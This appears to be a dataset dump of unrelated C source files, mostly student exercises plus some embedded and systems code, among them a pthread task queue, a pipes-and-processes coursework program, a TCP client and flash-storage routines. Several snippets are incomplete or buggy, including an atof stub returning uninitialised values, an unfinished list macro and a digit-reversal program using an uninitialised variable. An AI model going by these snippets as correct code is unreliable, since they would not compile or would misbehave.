char const *write_buf; /* working buffer pointer used for asynch writing to io */
int write_state; /* before, data, after flush io write state */
cat_state write_state_after; /* parser state to set after flush io write */
bool implicit_write_flag; /* flag that implicit write was detected */
struct cat_unsolicited_fsm unsolicited_fsm;
};
/**
* Function used to initialize at command parser.
* Initialize starting values of object fields.
*
* @param self pointer to at command parser object to initialize
* @param desc pointer to at command parser descriptor
* @param io pointer to at command parser io low-level layer interface
* @param mutex pointer to at command partes mutex interface
*/
void cat_init(struct cat_object *self, const struct cat_descriptor *desc, const struct cat_io_interface *io, const struct cat_mutex_interface *mutex);
/**
* Function must be called periodically to asynchronoulsy run at command parser.
* Commands handlers will be call from this function context.
*
* @param self pointer to at command parser object
* @return according to cat_return_state enum definitions
*/
cat_status cat_service(struct cat_object *self);
/**
* Function return flag which indicating internal busy state.
* It is used to determine whether external application modules can use shared input / output interfaces functions.
* It is usefull especially in rtos environments.
* If internal parser state is busy by doing some processing then function return 1.
* If the function returns 0, then the external application modules can safely use the input / output interfaces functions shared with the library.
* If the function returns 1, then input / output interface function are used by internal parser functions.
*
* @param self pointer to at command parser object
* @return according to cat_return_state enum definitions
*/
cat_status cat_is_busy(struct cat_object *self);
/**
* Function return flag which indicating parsing hold state.
* If the function returns 0, then the at parsing process is normal.
* If the function returns 1, then the at parsing process is holded.
* To exit from hold state, user have to call cat_hold_exit or return HOLD_EXIT return value in callback.
*
* @param self pointer to at command parser object
* @return according to cat_return_state enum definitions
*/
cat_status cat_is_hold(struct cat_object *self);
/**
* Function return flag which indicating state of internal buffer of unsolicited events.
*
* @param self pointer to at command parser object
* @return CAT_STATUS_OK - buffer is not full, unsolicited event can be buffered
* CAT_STATUS_ERROR_BUFFER_FULL - buffer is full, unsolicited event cannot be buffered
* CAT_STATUS_ERROR_MUTEX_LOCK - cannot lock mutex error
* CAT_STATUS_ERROR_MUTEX_UNLOCK - cannot unlock mutex error
*/
cat_status cat_is_unsolicited_buffer_full(struct cat_object *self);
/**
* Function sends unsolicited event message.
* Command message is buffered inside parser in 1-level deep buffer and processed in cat_service context.
* Only command pointer is buffered, so command struct should be static or global until be fully processed.
*
* @param self pointer to at command parser object
* @param cmd pointer to command structure regarding which unsolicited event applies to
* @param type type of operation (only CAT_CMD_TYPE_READ and CAT_CMD_TYPE_TEST are allowed)
* @return according to cat_return_state enum definitions
*/
cat_status cat_trigger_unsolicited_event(struct cat_object *self, struct cat_command const *cmd, cat_cmd_type type);
/**
* Function sends unsolicited read event message.
* Command message is buffered inside parser in 1-level deep buffer and processed in cat_service context.
* Only command pointer is buffered, so command struct should be static or global until be fully processed.
*
* @param self pointer to at command parser object
* @param cmd pointer to command structure regarding which unsolicited read applies to
* @return according to cat_return_state enum definitions
*/
cat_status cat_trigger_unsolicited_read(struct cat_object *self, struct cat_command const *cmd);
/**
* Function sends unsolicited test event message.
* Command message is buffered inside parser in 1-level deep buffer and processed in cat_service context.
* Only command pointer is buffered, so command struct should be static or global until be fully processed.
*
* @param self pointer to at command parser object
* @param cmd pointer to command structure regarding which unsolicited test applies to
* @return according to cat_return_state enum definitions
*/
cat_status cat_trigger_unsolicited_test(struct cat_object *self, struct cat_command const *cmd);
/**
* Function used to exit from hold state with OK/ERROR response and back to idle state.
*
* @param self pointer to at command parser object
* @param status response status 0 - OK, else ERROR
* @return according to cat_return_state enum definitions
*/
cat_status cat_hold_exit(struct cat_object *self, cat_status status);
/**
* Function used to searching registered command by its name.
*
* @param self pointer to at command parser object
* @param name command name to search
* @return pointer to command object, NULL if command not found
*/
struct cat_command const* cat_search_command_by_name(struct cat_object *self, const char *name);
/**
* Function used to searching registered command group by its name.
*
* @param self pointer to at command parser object
* @param name command group name to search
* @return pointer to command group object, NULL if command group not found
*/
struct cat_command_group const* cat_search_command_group_by_name(struct cat_object *self, const char *name);
/**
* Function used to searching attached variable to command its name.
*
* @param self pointer to at command parser object
* @param cmd pointer to command in which variable will be searched
* @param name variable name to search
* @return pointer to command group object, NULL if command group not found
*/
struct cat_variable const* cat_search_variable_by_name(struct cat_object *self, struct cat_command const *cmd, const char *name);
/**
* Function used to check what command is currently processed.
* Function is not protected by mutex mechanism, due to processed cmd may change after function return.
* This only matters in multithreaded environments, it does not matter for one thread.
*
* @param self pointer to at command parser object
* @param fsm type of internal state machine to check current command
* @return pointer to command which is currently processed, NULL if no command is processed
*/
struct cat_command const* cat_get_processed_command(struct cat_object *self, cat_fsm_type fsm);
/**
* Function return unsolicited event command status.
* Function is not protected by mutex mechanism, due to processed cmd may change after function return.
* This only matters in multithreaded environments, it does not matter for one thread.
*
* @param self pointer to at command parser object
* @param cmd pointer to command in which variable will be searched
* @param type type of unsolicited event
* @return CAT_STATUS_OK - command is not buffered nor processed
* CAT_STATUS_BUSY - command is waiting in buffer or is processed
*/
cat_status cat_is_unsolicited_event_buffered(struct cat_object *self, struct cat_command const *cmd, cat_cmd_type type);
#ifdef __cplusplus
}
#endif
#endif /* CAT_H */
|
C
|
#include <stdlib.h>
#include "task_queue.h"
task_queue_t *create_task_queue(mempool_t *pool) {
//task_queue_t *queue = pmalloc(pool,sizeof(task_queue_t));
task_queue_t *queue = malloc(sizeof(task_queue_t));
if (queue == NULL) {
return NULL;
}
queue->pool = pool;
pthread_mutex_init(&queue->mutex, NULL);
pthread_cond_init(&queue->cond, NULL);
queue_init(&queue->task.queue);
return queue;
}
void destroy_task_queue(task_queue_t *task_queue) {
#if 0
mempool_t *pool = task_queue->pool;
pfree(pool, task_queue);
#endif
free(task_queue);
}
void push_task(task_queue_t *task_queue, task_t *task) {
pthread_mutex_lock(&task_queue->mutex);
queue_insert_tail(&task_queue->task.queue,&task->queue);
pthread_cond_signal(&task_queue->cond);
pthread_mutex_unlock(&task_queue->mutex);
}
task_t *pop_task(task_queue_t *task_queue) {
queue_t *q;
pthread_mutex_lock(&task_queue->mutex);
while (queue_empty(&task_queue->task.queue)) {
pthread_cond_wait(&task_queue->cond,&task_queue->mutex);
}
q = queue_head(&task_queue->task.queue);
queue_remove(q);
pthread_mutex_unlock(&task_queue->mutex);
return queue_data(q,task_t,queue);
}
|
C
|
//Author: Saurabh Patil
//e-mail: er.saurabhpatilgmail.com
//Program to specify whether entered number is even or odd
#include<stdio.h>
int main()
{
int number;
printf("\nEnter a number: ");
scanf("%d",&number);
if(number % 2 ==0)
printf("\n%d is an even number",number);
else
printf("\n%d is an odd number",number);
printf("\n");
return 0;
}
|
C
|
// Program to reverse the digits of a number
#include <stdio.h>
int main(void)
{
int number, right_digit, tempNumber;
printf("Enter your number.\n");
scanf("%i", &number);
if (number < 0)
tempNumber = -number;
do
{
right_digit = tempNumber% 10;
printf("%i", right_digit);
tempNumber = tempNumber / 10;
}
while ( tempNumber != 0);
if (number < 0)
printf("-");
printf("\n");
return 0;
}
|
C
|
/*Program to print pattern
1
2 2
3 3 3
4 4 4 4
5 5 5 5 5
*/
#include<stdio.h>
int main()
{
int i, j, n;
printf("\nEnter line count: ");
scanf("%d", &n);
for(i=1; i<=n; i++)
{
for(j=1; j<=i; j++)
{
printf("%d ", i);
}
printf("\n");
}
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<math.h>
int debug=0;
int gcd(int a,int b){
if(a%b==0)return b;
return gcd(b,a%b);
}
int main(int argc , char **argv)
{
if(argc>1 && strcmp(argv[1],"DEBUG")==0) debug=1;
int n,i,m,count=1;scanf("%d",&n);n=n*2;
float limit=sqrt(n);
for(i=2;i<limit;++i)if(n%i==0){
m=n/i-i;
if(m%2==1)count++;
}
printf("%d\n",count);
return 0;
}
|
C
|
#include <stdio.h>
#include <stddef.h>
#define container_of(ptr, type, member) ({ \
const typeof( ((type *)0)->member ) *__mptr = (ptr); \
(type *)( (char *)__mptr - offsetof(type,member) );})
//TODO: iterator whole list by list_head
#define ITER_LIST(list, item) \
for (
//TODO: iterator whole list by container of list_head
struct list_head {
struct list_head* prev;
struct list_head* next;
};
void inline init_list(list_head* list) {
list->prev = list;
list->next = list;
}
//TODO: Insert item at head
void inline insert_list_head(list_head* list, list_head* item) {
item->prev = list;
item->next = list->next;
list->next = item;
}
//TODO: Insert item at tail
void inline insert_list_tail(list_head* list, list_head* item) {
item->prev = list->prev;
item->next = list;
list->prev = item;
}
//TODO: remove one item
void inline remove_list(list_head* list, list_head* item) {
item->prev->next = item->next;
item->next->prev = item->prev;
}
struct User {
int id;
char* name;
struct list_head* list;
};
void print_user (struct User * p_u) {
printf("id %d, name %s\n", p_u->id, p_u->name);
}
int main () {
struct User user = {.id = 1, .name = "test"};
struct User* p_u = &user;
print_user(&user);
return 1;
}
|
C
|
#ifndef _LINALGLIB_H_
#define _LINALGLIB_H_
typedef struct
{
float x;
float y;
float z;
float w;
} vec4;
/*
* matrix where each column is a vec4 (column-major)
*/
typedef struct
{
vec4 x;
vec4 y;
vec4 z;
vec4 w;
} mat4;
void print_v4(vec4 v);
vec4 scale_v4(float s, vec4 v);
vec4 add_v4(vec4 v1, vec4 v2);
vec4 subtract_v4(vec4 v1, vec4 v2);
float magnitude_v4(vec4 v);
vec4 normalize_v4(vec4 v);
float dot_v4(vec4 v1, vec4 v2);
vec4 cross_v4(vec4 v1, vec4 v2);
vec4 project_v4(vec4 v1, vec4 v2);
vec4 project_onto_plane(vec4 v, vec4 plane_vec);
/* matrix operations */
void print_m4(mat4 m);
mat4 scale_m4(float s, mat4 m);
mat4 add_m4(mat4 m1, mat4 m2);
mat4 subtract_m4(mat4 m1, mat4 m2);
mat4 multiply_m4(mat4 m1, mat4 m2);
mat4 invert_m4(mat4 m);
mat4 minor_m4(mat4 m);
mat4 cofactor_from_minors_m4(mat4 m);
float determinant_with_minors_m4(mat4 minors, mat4 m);
mat4 transpose_m4(mat4 m);
vec4 multiply_m4v4(mat4 m, vec4 v);
/* constants */
mat4 identity();
/* transformations */
mat4 translation(float x, float y, float z);
mat4 scaling(float Bx, float By, float Bz);
mat4 z_rotation(float theta);
mat4 x_rotation(float theta);
mat4 y_rotation(float theta);
/* arbitrary rotation about a line through the origin */
mat4 arb_rotation_origin(float theta, float ax, float ay, float az);
/* arbitrary rotation about a line throuth the objects center of mass, in world frame */
mat4 arb_rotation_com_world(mat4 ctm, float theta, float ax, float ay, float az);
/* look at point */
mat4 look_at(vec4 eyePoint, vec4 atPoint, vec4 upVector);
/* orthographic */
mat4 ortho(float left, float right, float bottom, float top, float near, float far);
/* frustum */
mat4 frustum(float left, float right, float bottom, float top, float near, float far);
mat4 perspective(float fovy, float aspect, float near, float far);
#endif
|
C
|
#include <ctype.h>
/* isdigit(c), isspace(c) */
/* atof: convert string s to double */
double atof(char s[])
{
double val, power;
int i, sign;
return sign * val / power;
}
|
C
|
#include <shell/cmd_read.h>
#include <stdlib.h>
#include <string.h>
#include "hal.h"
#include "chprintf.h"
#include "shellcommands.h"
void cmd_read(BaseSequentialStream *chp, int argc, char *argv[])
{
(void) argv;
(void) argc;
uint32_t channel;
if (argc == 2)
{
if (strcmp(argv[0], "voltage") == 0)
{
channel = strtol(argv[1], NULL, 10);
if (channel >= 1 && channel <= 4)
{
}
else chprintf(chp, "Channel must be from 1 to 4\n\r");
}
else if (strcmp(argv[0], "current") == 0)
{
channel = strtol(argv[1], NULL, 10);
if (channel >= 1 && channel <= 4)
{
}
else chprintf(chp, "Channel must be from 1 to 4\n\r");
}
else if (strcmp(argv[0], "pwm") == 0)
{
channel = strtol(argv[1], NULL, 10);
if (channel == 1 || channel == 2)
{
}
else chprintf(chp, "Channel must be either 1 or 2\n\r");
}
else
{
chprintf(chp, "Incorrect first argument\n\r");
chprintf(chp, "USAGE: read voltage {channel(1-4)}\n\r");
chprintf(chp, " read current {channel(1-4)}\n\r");
chprintf(chp, " read pwm {channel(1|2)}\n\r");
}
}
else
{
chprintf(chp, "USAGE: read voltage {channel(1-4)}\n\r");
chprintf(chp, " read current {channel(1-4)}\n\r");
chprintf(chp, " read pwm {channel(1|2)}\n\r");
}
}
|
C
|
#include <stdio.h>
void show_array(int A[], int len);
void inserstion_sort(int A[], int array_len);
void blank_line(void);
int main(void){
int Array[] = {23,7,2,8,43,6,78,2,7890,7,235346,23};
show_array(Array, sizeof(Array)/sizeof(int));
inserstion_sort(Array, sizeof(Array)/sizeof(int));
show_array(Array, sizeof(Array)/sizeof(int));
}
void inserstion_sort(int A[], int array_len){
int i, j, key;
for (i = 1; i < array_len; i++){
key = A[i];
j = i - 1;
while(j >= 0 && A[j] > key){
A[j+1] = A[j];
j--;
}
A[j+1] = key;
}
}
void show_array(int A[], int len){
int i;
for (i = 0; i < len; i++){
printf("%d ", A[i]);
}
blank_line();
}
void blank_line(void){
printf("\n");
}
|
C
|
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#define CSONEV "FIFO"
/*
6. Irjon C nyelvu programokat, ami
letrehoz egy nevesitett csovezeteket (bejegyzes az fs-en)
megnyitja
olvasni probal belole
kozben egy masik program ir bele egy random szamot
az elso program kiirja a kapott szamot es visszakuldi ennek a duplajat
a masik program kiolvassa es kiirja a kepernyore
a processzek megszunnek es a masodik program eltunteti a nevesitett csovezeteket"
Hatarido : maj 11.
*/
int getRandom(void);
void kliensIr(int fd);
void kliensOlvas(int fd);
void main() {
srand(time(0));
int fd = open(CSONEV, O_RDWR);
if (fd == -1) {
perror("kliens : nem sikerult megnyitni \n");
exit(-1);
}
printf("kliens indul...\n");
kliensIr(fd);
kliensOlvas(fd);
close(fd);
unlink(CSONEV);
}
void kliensIr(int fd) {
int n = getRandom();
if (write(fd, &n, sizeof(int)) == -1) {
perror("kliens : Nem sikerult irni\n");
exit(-1);
}
printf("kliens : irva\n");
}
void kliensOlvas(int fd) {
int val;
printf("kliens olvas...\n");
if (read(fd, &val, sizeof(val)) < 0) {
perror("kliens : Nem sikerult olvasni\n");
exit(-1);
}
printf("\nkliens kapott ertek : %d\n", val);
}
int getRandom() {
return (rand() % 10) + 1;
}
|
C
|
#ifndef Graph_List_h
#define Graph_List_h
/*Gruppo 25 - Progetto 2 - Giuliano Galloppi N86001508; Piero Junior Gaetani N86002210; Luigi Audino N86001513*/
struct TList {
int target; //citt del nodo
int price; //peso1
int km; //peso2
struct TList* next; //prossimo vertice nella di adiacenza del vertice 'x'
};
typedef struct TList* List;
// Aggiunge un nodo alla fine della lista
// controllandone l'esistenza
// La funzione ritorna sempre la testa della lista
List appendNodeList(List L, int target, int price, int km); //aggiunge un vertice 'taget' alla lista L del vertice d'origine designato
// Rimuove solo un occorrenza di un nodo con il target specificato dalla lista
// La funzione ritorna sempre la testa della lista
List removeNodeList(List L, int target); //Rimuove il nodo con vertice 'target' dalla lista del vertice L che vogliamo
// Inizializza un nuovo nodo
List initNodeList(int target, int price, int km);
// Dealloca la lista interamente
void freeList(List L);
// Stampa la lista
void printList(List L);
#endif
|
C
|
#include <stdio.h>
int main()
{
// 输出整数
int number;
// printf() 输出字符串
printf("输出一个整数:");
// scanf() 格式化输入
scanf("%d", &number);
// printf() 显示格式化输入
printf("你输入的整数是:%d", number);
return 0;
}
|
C
|
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "messages.h"
#include "headerinfo.h"
/*
oppretter klient og kobler til server.
INPUT: brukerinput
*/
void createclient(char* machinename, char* portnb, char* in){
int port = atoi(portnb);
/* deklarasjon av litt datastruktur */
struct sockaddr_in serveraddr;
int sock;
/* Oppretter socket, nuller ut serveradresse-struct'en, setter domenet til Internett */
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset((void *) &serveraddr, 0, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
/* Sett inn internettadressen til localhost, sette portnummer og koble opp mot server */
serveraddr.sin_addr.s_addr = inet_addr("129.240.71.69");
serveraddr.sin_port = htons(port);
connect(sock, (struct sockaddr*)&serveraddr, sizeof serveraddr);
/*oppretter og oppdaterer headerinformasjon og sender til server*/
struct packet* toserver = malloc(sizeof(struct packet));
makeheaderinfo(in, toserver);
char* streamtoserver = (char*)toserver;
sendmessage(sock, sizeof(streamtoserver), streamtoserver);
/* Send data fra brukerinput/nyttelast*/
sendmessage(sock, toserver->length, in);
/*leser inn headerinformasjon fra server*/
struct packet* fromserver = malloc(sizeof(struct packet));
char* streamfromserver = (char*)fromserver;
readmessage(sock, sizeof(streamfromserver), streamfromserver);
/*leser inn beskjed/pakke fra serveren og legger dette i et buffer lik lengden som er oppgitt i headerinformasjonen*/
char* buff = malloc(sizeof(char) * fromserver->length);
readmessage(sock, fromserver->length, buff);
printf("%s\n", buff);
memset(buff, 0, sizeof(buff));
/*frigjore minne*/
free(toserver);
free(fromserver);
free(buff);
/* Steng socketen */
close(sock);
}
|
C
|
/***********************************************************************
* Program:
* Lab C_lab, ECEN 324 Learning C Lab
* Brother Jones, ECEN 324
* Author:
* Donovan Gregory
* Summary:
* Converting a premade c++ program into c.
************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#define PI 3.1415926
/***********************************************************************
* Tests out defined Pi and outputs several different characters. Meant
* to see the basics of printf.
***********************************************************************/
int main (void)
{
// Printing various items
//save a char. Then testing printing a char, a hard number, and a defined.
const char LETTER = 'A';
printf("24\n");
printf("%.5f\n", PI);
printf("%c\n", LETTER);
//create a float and int. Then print it out in various ways.
float payRate = 10.50;
int hours = 40;
// Creates two variables and then multiples them.
printf( "Users pay rate: $%.1f\n", payRate);
printf(" Hours worked: %d\n", hours);
float grossPay = hours * payRate;
printf(" Gross Pay: $%.0f\n", grossPay);
//save an int then play with the int.
int number = 0;
scanf("%d", &number);
printf("Twice %d is %d\n", number, number * 2);
/*********************************************************************/
/*********************** Output an Integer ***************************/
/*********************************************************************/
int anInt = 99;
float aFloat = 43.2;
// Output the integer with the default formatting.
//Fun with Ints.
printf("\n"); // output a blank line
printf("Integer: %d ###\n", anInt);
// Output the integer in a fixed field width of 10.
// The object will be right justified in the field.
// I left in the code that accuratly describes what I am doing.
printf("Integer: %10d ###\n", anInt);
// Output the integer in a fixed field width of 10
// and left justified in the field.
//
printf("Integer: %-10d ###\n\n", anInt);
/*********************************************************************/
/************************* Output a Float ****************************/
/*********************************************************************/
// Output the float with the default formatting.
// Not actually "default".
printf(" Float: %.1f ###\n", aFloat);
// Output the float in a fixed field width of 10.
// Combinations of float with other things I have done.
printf(" Float: %-10.1f ###\n", aFloat);
// Output the float right justified in a field width of 10 with
// a precision of 2 places after the decimal point for the float.
//
printf(" Float: %10.2f ###\n", aFloat);
// Output the float with 3 places of precision after the decimal point but
// not giving a field width.
//
printf(" Float: %.3f ###\n",aFloat);
// Output the float with 3 places of precision after the decimal point with
// a field width of 10.
//
printf( " Float: %10.3f ###\n", aFloat);
// Output the float with 4 places of precision after the decimal point with
// a field width of 10 and left justify the number.
//
printf(" Float: %-10.4f ###\n\n", aFloat);
/*********************************************************************
*************** Create some code to output a table ******************
*********************************************************************/
// The following table has a leading tab. Ugly looking table in code.
printf("\tOct Dec Hex Char\n\t----------------------\n\t141 97 61 a\n\t142 98 62 b\n\t143 99 63 c\n\t144 100 64 d\n\t145 101 65 e\n\t146 102 66 f\n\t147 103 67 g\n\t150 104 68 h\n\t151 105 69 i\n\t152 106 6a j\n\t153 107 6b k\n\t154 108 6c l\n\t155 109 6d m\n\t156 110 6e n\n\t157 111 6f o\n\t160 112 70 p\n\t161 113 71 q\n\t162 114 72 r\n\t163 115 73 s\n\t164 116 74 t\n\t165 117 75 u\n\t166 118 76 v\n\t167 119 77 w\n\t170 120 78 x\n\t171 121 79 y\n\t172 122 7a z\n\n");
/*********************************************************************/
/*********************************************************************
*************** Now play with pointers to finish up *****************
*********************************************************************/
//Fun with pointers, which is very similar to c++.
int *p1;
int *p2;
p1 = (int*) calloc(25, sizeof(int));
*p1 = 42;
p2 = p1;
printf("*p1 == %d\n", *p1);
printf("*p2 == %d\n", *p2);
*p2 = 53;
printf("*p1 == %d\n", *p1);
printf("*p2 == %d\n", *p2);
p1 = (int*) calloc(25, sizeof(int));
*p1 = 88;
printf("*p1 == %d\n", *p1);
printf("*p2 == %d\n",*p2);
printf("Hope you got the point of this example!\n");
free(p1);
free(p2);
return 0;
}
|
C
|
#include <stdlib.h>
#include <time.h>
#include "random.h"
// randInt returns a random integer between 0 and the given parameter
int randInt(int upper) {
srand(time(0));
return rand() % upper;
}
// randString returns a random string of the given length
char* randString(int length) {
char* result = (char*) malloc(length);
srand(time(NULL));
for (int i = 0; i < length; ++i) {
result[i] = '0' + rand() % 72;
}
return result;
}
|
C
|
#include "test.h"
#include <stdio.h>
#include <stdlib.h>
#include "manipCompte.h"
#include "gereClients.h"
#include "manipCompte.h"
void testManipCompte() {
printf("**************************\n");
printf("* DEBUT TEST manipCompte *\n");
printf("**************************\n\n");
CPTEBQUE *cpte1 = createCpte (10.0, 11.0, 1);
CPTEBQUE *cpte2 = createCpte (11.0, 10.0, 2);
printf("Compte 1 : (1,10,11)\n");
afficheCpte(cpte1);
printf ("Doit etre egale a 0 : %d \n", CpteAPb(cpte1));
printf("\nCompte 2: (2,11,10)\n");
afficheCpte(cpte2);
printf ("Doit etre egale a 1 : %d \n", CpteAPb(cpte2));
printf("\n************************\n");
printf("* FIN TEST manipCompte *\n");
printf("************************\n\n");
}
void testGereClient() {
printf("*************************\n");
printf("* DEBUT TEST gereClient *\n");
printf("*************************\n\n");
createTabClients();
printf ("*** Listes des clients : **********\n\n");
afficherClients();
printf ("\n*** Listes des comptes clients : **********\n\n");
afficherCpteClients();
printf ("\n*** Listes des refs clients : **********\n\n");
afficherRefClients();
printf("\n***********************\n");
printf("* FIN TEST gereClient *\n");
printf("***********************\n\n");
}
void testCpteSuisse() {
printf("*************************\n");
printf("* DEBUT TEST CpteSuisse *\n");
printf("*************************\n\n");
createTabClients();
CpteDesc *cpteSuisses = clientCpteSuisse();
afficherCpteSuisse(cpteSuisses);
printf("\n***********************\n");
printf("* FIN TEST cpteSuisse *\n");
printf("***********************\n\n");
}
void testClientSuspicieux() {
printf("*****************************\n");
printf("* DEBUT TEST CpteSuspicieux *\n");
printf("*****************************\n\n");
createTabClients();
CpteDesc *cpteSuspicieux = clientSuspicieux();
afficherClientSuspicieux(cpteSuspicieux);
printf("\n***************************\n");
printf("* FIN TEST CpteSuspicieux *\n");
printf("***************************\n\n");
}
void testTriClients() {
printf("*************************\n");
printf("* DEBUT TEST TriClients *\n");
printf("*************************\n\n");
createTabClients();
CLIENT* mesClients = triNomClient();
afficherClientsTrie(mesClients);
printf("\n***********************\n");
printf("* FIN TEST TriClients *\n");
printf("***********************\n\n");
}
void testAnomalies() {
printf("************************\n");
printf("* DEBUT TEST Anomalies *\n");
printf("************************\n\n");
createTabClients();
CPTEBQUE* cpteAnomalie = getAnomalies();
afficherAnomalie(cpteAnomalie);
printf("\n**********************\n");
printf("* FIN TEST Anomalies *\n");
printf("**********************\n\n");
}
|
C
|
/*
* @file z_test.c
* @author DLSZ
* @date 2018-05-15
*/
#include "include.h"
#include "common.h"
///////////////////////////////// ////////////////////////////////////
#define SECTOR_NUM (FLASH_SECTOR_NUM-1) //FLASHȷȫ
///////////////////////////////// ////////////////////////////////////
void write_flash() //д
{
flash_erase_sector(SECTOR_NUM); //
flash_write(SECTOR_NUM, 0, (uint32)OV7725_yuzhi );
flash_erase_sector(SECTOR_NUM-1); //
flash_write(SECTOR_NUM-1, 0, (uint32)dis_hcjj1 );
flash_erase_sector(SECTOR_NUM-2); //
flash_write(SECTOR_NUM-2, 0, (uint32)dis_hcjj2 );
flash_erase_sector(SECTOR_NUM-3); //
flash_write(SECTOR_NUM-3, 0, (uint32)gongshi1 );
flash_erase_sector(SECTOR_NUM-4); //
flash_write(SECTOR_NUM-4, 0, (uint32)gongshi2 );
/*
flash_erase_sector(SECTOR_NUM-5); //
flash_write(SECTOR_NUM-5, 0, (uint32)sj3 );
flash_erase_sector(SECTOR_NUM-6); //
flash_write(SECTOR_NUM-6, 0, (uint32)sj4);
flash_erase_sector(SECTOR_NUM-7); //
flash_write(SECTOR_NUM-7, 0, (uint32)sj5 );
flash_erase_sector(SECTOR_NUM-8); //
flash_write(SECTOR_NUM-8, 0, (uint32)sj6 );
flash_erase_sector(SECTOR_NUM-9); //
flash_write(SECTOR_NUM-9, 0, (uint32)sj7 );
*/
}
void read_flash() //ȡ
{
OV7725_yuzhi=(int) (flash_read(SECTOR_NUM, 0, uint32 ));
SCCB_WriteByte( OV7725_CNST ,OV7725_yuzhi );
dis_hcjj1=(int) (flash_read(SECTOR_NUM-1, 0, uint32 ));
dis_hcjj2=(int) (flash_read(SECTOR_NUM-2, 0, uint32 ));
gongshi1=(int) (flash_read(SECTOR_NUM-3, 0, uint32 ));
gongshi2=(int) (flash_read(SECTOR_NUM-4, 0, uint32 ));
/*
sj3=(int) (flash_read(SECTOR_NUM-5, 0, uint32 ));
sj4=(int) (flash_read(SECTOR_NUM-6, 0, uint32 ));
sj5=(int) (flash_read(SECTOR_NUM-7, 0, uint32 ));
sj6=(int) (flash_read(SECTOR_NUM-8, 0, uint32 ));
sj7=(int) (flash_read(SECTOR_NUM-9, 0, uint32 ));
*/
}
|
C
|
/* -----------------------------------------------------------------------
PRA1: Pipes
Codi font: controlador.c
Joel Aumedes Serrano
---------------------------------------------------------------------- */
#include "all.h"
int N;
int PROCESSES;
int main(int argc, char *argv[]) {
PROCESSES = atoi(argv[1]);
char s[100] = "Calcular primers de 2 a : ";
char n[NUMSIZE + 1];
do{ //LLegir fins a on calcular
if(write(1,s,sizeof(s)) <= 0){
perror("Error al escriure a sortida estàndard: ");
exit(-3);
}
if(read(0,n,sizeof(n)) < 0){
perror("Error al llegir de l'entrada estàndard: ");
exit(-3);
}
N = atoi(n);
sprintf(s,"Número no vàlid, torna a escriure: ");
}while(N < 2);
int gcfd[2];
int ccfd[2];
//Creació pipe generador -> calculadors
if(pipe(gcfd) == -1){
perror("Error al crear pipe generador -> calculador: ");
exit(-1);
}
//Creació generador
int pid;
switch (pid = fork()) {
case -1:
perror("Error al crear generador: ");
exit(-1);
case 0:
dup2(gcfd[1],GC_ENT);
close(gcfd[0]);
close(gcfd[1]);
if(execlp("./generador","generador",n, NULL) == -1){
perror("Error durant el recobriment del generador: ");
exit(-2);
}
}
//Creació pipe calculadors -> controlador
if(pipe(ccfd) == -1){
perror("Error al crear pipe calculadors -> controlador: ");
exit(-1);
}
//Creació calculadors
int pids[PROCESSES];
for(int i = 0; i < PROCESSES;i++){
pids[i] = fork();
switch (pids[i]) {
case -1:
perror("Error al crear calculador: ");
exit(-1);
case 0:
dup2(ccfd[1],CC_ENT);
dup2(gcfd[0],GC_SORT);
close(ccfd[0]);
close(ccfd[1]);
close(gcfd[0]);
close(gcfd[1]);
if(execlp("./calculador", "calculador", NULL) == -1){
perror("Error durant el recobriment d'un calculador: ");
exit(-2);
}
}
}
dup2(ccfd[0],CC_SORT);
close(ccfd[1]);
close(ccfd[0]);
close(gcfd[1]);
close(gcfd[0]);
int primesPipe = 0;
//Llegir resultats del pipe calculadors -> controlador i mostrar-los per pantalla
int llegir;
t_infoNombre result;
while((llegir = read(CC_SORT,&result,sizeof(t_infoNombre)) > 0)){
char s[100] = "\0";
sprintf(s,"Controlador: Rebut del procés %d: Número %d Primer: %c \n",result.pid,result.nombre,result.primer);
if(result.primer == 'S') primesPipe++;
if(write(1,s,sizeof(s)) <= 0){
perror("Error al escriure a sortida estàndard: ");
exit(-3);
}
}
if(llegir < 0){
perror("Error al llegir resultats: ");
exit(-3);
}
//Tancar el generador
if(kill(pid, SIGTERM) == -1){
perror("Error tancant el generador: ");
exit(-4);
}
wait(NULL);
int primesExit = 0;
int status = 0;
//Tancar els calculadors
for(int i = 0; i < PROCESSES;i++){
if(kill(pids[i], SIGTERM) == -1){
perror("Error tancant un calculador: ");
exit(-4);
}
wait(&status);
primesExit += WEXITSTATUS(status);
}
//Escriure resultats finals
char s3[100];
sprintf(s3,"Primers del Pipe: %i \nPrimers a Exit: %i\n", primesPipe, primesExit);
if(write(1,s3,strlen(s3)) <= 0){
perror("Error al escriure a sortida estàndard: ");
exit(-3);
}
exit(0);
}
|
C
|
//
// main.c
// 加减乘除
//
// Created by student on 15-10-19.
// Copyright (c) 2015年 student. All rights reserved.
//
#include <stdio.h>
double math(double a, double b, char sign)
{
switch (sign) {
case '+':return a+b;
case '-':return a-b;
case '*':return a*b;
case '/':
if(b==0)
return -9999999;
else
return a/b;
default:
break;
}
return 0;
}
int main(int argc, const char * argv[])
{
double a,b;
char c;
scanf("%lf%c%lf",&a,&c,&b);
printf("%lf\n",math(a, b, c));
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.